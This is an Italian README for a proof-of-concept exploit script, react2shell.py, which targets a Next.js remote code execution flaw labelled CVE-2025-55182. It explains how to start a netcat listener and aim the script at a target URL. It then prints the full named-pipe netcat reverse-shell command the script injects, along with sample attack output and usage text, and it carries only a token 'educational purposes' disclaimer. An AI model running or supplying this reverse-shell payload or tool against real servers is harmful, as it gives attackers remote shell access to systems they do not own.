
Questo è un semplice script PoC per sfruttare la vulnerabilità React2Shell-CVE-2025-55182 di Nextjs. Questo aiuterà a ottenere una reverse shell.
🚀 React2Shell - (CVE-2025–55182) Script di Exploit
🔥 Introduzione
Questo repository contiene uno script di exploit per la vulnerabilità React2Shell (CVE-2025–55182), che colpisce un tipo specifico di Node.js Prototype Pollution che porta a Remote Code Execution (RCE).
Lo script è progettato specificamente per stabilire una connessione Netcat reverse shell iniettando un payload malevolo nell'applicazione vulnerabile.
⚠️ Avvertenza
Questo strumento è solo a scopo educativo e di ricerca.
⚙️ Prerequisiti
- Python 3.x
requestslibreriaInstallazione
È possibile installare la dipendenza Python richiesta usando
pip:pip install requests
Lo script è uno strumento mirato per ottenere una reverse shell e richiede 3 parametri principali: l'URL di destinazione (-u), il tuo Indirizzo IP Locale (-l) e la Porta di Ascolto (-p).
Prima di eseguire l'exploit, devi configurare un listener Netcat sulla tua macchina locale per catturare la connessione reverse shell in arrivo.
# Start Netcat listener on port 9001 (or your custom port)
nc -lvnp 9001
Esegui lo script fornendo gli argomenti necessari. Se ometti la porta (-p), verrà usata di default la 9001.
| Flag | Argomento | Descrizione | Esempio |
|---|---|---|---|
-u | --url | (OBBLIGATORIO) L'URL completo del target vulnerabile. | http://192.168.1.100:3000 |
-l | --local-ip | (OBBLIGATORIO) Il tuo indirizzo IP attaccante/listener. | 192.168.1.5 |
-p | --port | La porta su cui è in esecuzione il tuo listener. | 4444 |
Per colpire http://192.168.1.100:3000/ e riconnetterti al tuo listener su 192.168.1.5:4444:
python react2shell.py -u http://192.168.1.100:3000 -l 192.168.1.5 -p 4444
L'exploit sfrutta la funzione execSync sul target, che in genere blocca il processo del server. Pertanto, un ReadTimeout è il segno atteso di un'esecuzione del comando riuscita.
### 🔥 React2Shell - (CVE-2025–55182)
### By Hasa
[*] Target URL (-u): [http://192.168.1.100:3000/](http://192.168.1.100:3000/)
[*] Local IP (-l): 192.168.1.5
[*] Port (-p): 4444
[*] Command: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.1.5 4444 >/tmp/f
[*] Sending payload...
[+] [+] Attack may be Successful! Check your Netcat Listner.
Se l'operazione ha successo, vedrai la shell connettersi al tuo listener Netcat.
Eseguire lo script senza argomenti mostra il banner e le istruzioni d'uso obbligatorie:
python react2shell.py
Output:
### 🔥 React2Shell - (CVE-2025–55182)
### By Hasa
usage: react2shell.py [-h] -u URL -l LOCAL_IP [-p PORT]
Educational Purposes Only!!!
options:
-h, --help show this help message and exit
-u URL, --url URL (REQUIRED) The target URL (Ex: "[http://example.com:3000](http://example.com:3000)")
-l LOCAL_IP, --local-ip LOCAL_IP
(REQUIRED) Listner or Attacker IP (Ex: "192.168.100.1")
-p PORT, --port PORT Listner Port (Default: 9001)
